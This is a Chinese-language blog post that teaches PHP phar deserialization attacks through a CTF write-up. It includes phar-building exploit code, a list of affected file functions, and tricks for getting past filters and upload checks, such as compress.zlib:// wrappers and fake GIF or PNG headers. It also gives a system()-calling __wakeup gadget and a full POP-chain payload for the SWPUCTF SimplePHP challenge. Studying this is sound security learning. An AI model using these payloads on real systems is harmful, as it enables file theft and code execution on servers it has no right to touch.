入门Phar反序列

phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。

关于流包装

大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://zlib://php:// 例如常见的

include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');

phar://也是流包装的一种

phar原理

phar文件的结构

stub:      phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:   phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:   被压缩文件的内容
signature (可空):   签名,放在末尾。
原文链接:https://blog.csdn.net/solitudi/article/details/113588692

如何生成一个phar文件?下面给出一个参考例子

<?php
   class Test {
  }
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

漏洞利用条件

  1. phar文件要能够上传到服务器端。

  2. 要有可用的魔术方法作为“跳板”。

  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

受影响的函数

知道创宇测试后受影响的函数列表:

image-20211210104507166

实际上不止这些,也可以参考这篇链接,里面有详细说明https://blog.zsxsoft.com/post/38

当然为了阅读方便,这里便把它整理过来

//exif
exif_thumbnail
exif_imagetype
   
//gd
imageloadfont
imagecreatefrom***系列函数
   
//hash
   
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
   
// file/url
get_meta_tags
get_headers
   
//standard
getimagesize
getimagesizefromstring
   
// zip  
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

//配合其他协议:(SUCTF)
//https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/
//当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
//php://filter/read=convert.base64-encode/resource=phar://phar.phar

//Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
   
// Mysql
//LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
//配置一下mysqld:
//[mysqld]
//local-infile=1
//secure_file_priv=""
   
<?php
class A {
   public $s = '';
   public function __wakeup () {
       system($this->s);
  }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
?>

小Trick

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。 php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式验证可以通过在文件头部添加GIF89a绕过

1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif

比如

<?php
class Easytest{
   protected $test='1';
   public function funny_get(){
       return $this->test;
  }
}
class Main {
   public $url;
}
$test = new EasyTest;
echo urlencode(serialize($test))."\n";

$payload = new Main;
$payload->url = "file:///etc/hosts";//文件流读取文件

$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub($png_header.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($payload);
$phar -> stopBuffering();
rename("exp.phar","exp.png");
?>

 

例题CISCN2019 Dropbox

例题[NCTF2019]phar matches everything

[SWPUCTF 2018]SimplePHP

  • 考点

    • 1.Phar://协议具有反序列化的漏洞(这道题没有 unserialize()函数),在文件上传中常用来读取上传的文件

    • 2.POP 链中一定要知道的一些魔术方法: __destruct() __toString() __get(),尤其__destruct()是事故多发地

    file 文件任意读,重要文件 class.php 和 upload_file.php class.php

<?php
class C1e4r
{
   public $test;
   public $str;
   public function __construct($name)
  {
       $this->str = $name;
  }
   public function __destruct()
  {
       $this->test = $this->str;
       echo $this->test;   //!!!
  }
}
class Show
{
   public $source;
   public $str;
   public function __construct($file)
  {
       $this->source = $file;   //$this->source = phar://phar.jpg
       echo $this->source;
  }
   public function __toString()    //!!
  {
       $content = $this->str['str']->source;
       return $content;
  }
   public function __set($key,$value)
  {
       $this->$key = $value;
  }
   public function _show()
  {
       if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
           die('hacker!');
      } else {
           highlight_file($this->source);
      }
  }
   public function __wakeup()
  {
       if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
           echo "hacker~";
           $this->source = "index.php";
      }
  }
}
class Test
{
   public $file;
   public $params;
   public function __construct()
  {
       $this->params = array();
  }
   public function __get($key) //!!!
  {
       return $this->get($key);
  }
   public function get($key)//!!!
  {
       if(isset($this->params[$key])) {
           $value = $this->params[$key];
      } else {
           $value = "index.php";
      }
       return $this->file_get($value);
  }
   public function file_get($value)//!!!
  {
       $text = base64_encode(file_get_contents($value));
       return $text;
  }
}

还是原来的那几个危险魔法函数 pop 链构造思路 class C1e4r::__destruct() => class Show::__toString() => class Test::__get()、get()、file_get() 生成 pop 链

<?php
class C1e4r
{
   public $test;
   public $str;//!!new show
}
class Show
{
   public $source;
   public $str;        //!!new Test
}
class Test
{
   public $file;
   public $params;
}
$c=new C1e4r();
$s=new Show();
$t=new Test();

$c->str=$s;
$s->str['str']=$t;
$t->params['source']='/var/www/html/f1ag.php';

$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($c); //触发的开始是C1e4r(),所以传$c   将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();    //签名自动计算

运行后生成了phar.phar文件,就可以上传,在 burp 中修改文件后缀 jpg,即可成功上传

通过phar://访问此文件,得到字符串 base64 解密,得到 flag

 

参考

https://blog.csdn.net/solitudi/article/details/113588692

https://xz.aliyun.com/t/2715

posted @ 2022-02-05 21:21  kzd的前沿思考  阅读(242)  评论(0)    收藏  举报